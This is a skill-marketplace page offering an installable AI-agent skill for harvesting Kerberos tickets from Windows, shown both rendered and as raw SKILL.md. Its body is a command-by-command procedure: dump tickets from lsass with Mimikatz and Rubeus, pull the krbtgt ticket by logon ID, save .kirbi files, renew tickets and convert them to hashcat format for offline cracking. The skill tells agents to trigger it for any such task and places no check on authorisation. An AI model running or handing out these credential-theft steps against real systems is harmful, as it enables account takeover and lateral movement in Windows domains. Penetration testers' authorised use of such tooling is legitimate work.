How do I install the Kerberos Ticket Harvesting skill?

Run npx skillmds@latest add abelrguezr/kerberos-ticket-harvesting in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

Is Kerberos Ticket Harvesting safe to use?

This skill has not completed SkillMD's automated safety review yet. Capability flags: makes network calls. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Kerberos Ticket Harvesting?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Kerberos Ticket Harvesting free to use?

Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.

Who published Kerberos Ticket Harvesting?

abelrguezr (@abelrguezr) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Kerberos Ticket Harvesting by abelrguezr

Name: Kerberos Ticket Harvesting
Rating: 4.666666666666667 (3 reviews)
Author: abelrguezr

Kerberos Ticket Harvesting

How to harvest Kerberos tickets from Windows systems using Mimikatz and Rubeus. Use this skill whenever you need to extract, dump, triage, renew, or convert Kerberos tickets from Windows environments during security assessments, penetration testing, or red team operations. Trigger this skill for any Windows Kerberos ticket manipulation tasks, including lsass memory extraction, ticket export, and offline cracking preparation.

abelrguezr Updated Sep 10, 2026

File contents

Kerberos Ticket Harvesting from Windows

This skill covers extracting and manipulating Kerberos tickets from Windows systems using industry-standard tools like Mimikatz and Rubeus.

Background

Tickets in Windows are managed and stored by the lsass (Local Security Authority Subsystem Service) process, responsible for handling security policies. To extract these tickets, it's necessary to interface with the lsass process. A non-administrative user can only access their own tickets, while an administrator has the privilege to extract all tickets on the system.

Tools Overview

Mimikatz

Mimikatz is a versatile tool that can interact with Windows security. It's used not only for extracting tickets but also for various other security-related operations.

Extract tickets using Mimikatz:

sekurlsa::tickets /export

Rubeus

Rubeus is a tool specifically tailored for Kerberos interaction and manipulation. It's used for ticket extraction and handling, as well as other Kerberos-related activities.

Dump all tickets:

.\Rubeus dump

Save a ticket to file:

[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

List all tickets:

.\Rubeus.exe triage

Dump a specific ticket by LUID:

.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap

Save the specific ticket:

[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

Renew a ticket:

.\Rubeus.exe renew /ticket:<BASE64_TICKET>

Convert a ticket to hashcat format for offline cracking:

.\Rubeus.exe hash /ticket:<BASE64_TICKET>

Usage Notes

Replace <BASE64_TICKET> with the actual Base64 encoded ticket string
Replace <luid> with the actual Logon ID from the triage output
Ensure you have appropriate privileges (administrative access extracts all tickets, non-admin users can only access their own)
These tools provide extensive functionality for managing tickets and interacting with the security mechanisms of Windows

References

How to Attack Kerberos - Tarlogic

---name: kerberos-ticket-harvestingdescription: How to harvest Kerberos tickets from Windows systems using Mimikatz and Rubeus. Use this skill whenever you need to extract, dump, triage, renew, or convert Kerberos tickets from Windows environments during security assessments, penetration testing, or red team operations. Trigger this skill for any Windows Kerberos ticket manipulation tasks, including lsass memory extraction, ticket export, and offline cracking preparation.---# Kerberos Ticket Harvesting from WindowsThis skill covers extracting and manipulating Kerberos tickets from Windows systems using industry-standard tools like Mimikatz and Rubeus.## BackgroundTickets in Windows are managed and stored by the **lsass** (Local Security Authority Subsystem Service) process, responsible for handling security policies. To extract these tickets, it's necessary to interface with the lsass process. A non-administrative user can only access their own tickets, while an administrator has the privilege to extract all tickets on the system.## Tools Overview### MimikatzMimikatz is a versatile tool that can interact with Windows security. It's used not only for extracting tickets but also for various other security-related operations.**Extract tickets using Mimikatz:**```bashsekurlsa::tickets /export```### RubeusRubeus is a tool specifically tailored for Kerberos interaction and manipulation. It's used for ticket extraction and handling, as well as other Kerberos-related activities.**Dump all tickets:**```bash.\Rubeus dump```**Save a ticket to file:**```powershell[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))```**List all tickets:**```bash.\Rubeus.exe triage```**Dump a specific ticket by LUID:**```bash.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap```**Save the specific ticket:**```powershell[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))```**Renew a ticket:**```bash.\Rubeus.exe renew /ticket:<BASE64_TICKET>```**Convert a ticket to hashcat format for offline cracking:**```bash.\Rubeus.exe hash /ticket:<BASE64_TICKET>```## Usage Notes- Replace `<BASE64_TICKET>` with the actual Base64 encoded ticket string- Replace `<luid>` with the actual Logon ID from the triage output- Ensure you have appropriate privileges (administrative access extracts all tickets, non-admin users can only access their own)- These tools provide extensive functionality for managing tickets and interacting with the security mechanisms of Windows## References- [How to Attack Kerberos - Tarlogic](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)

Frequently asked questions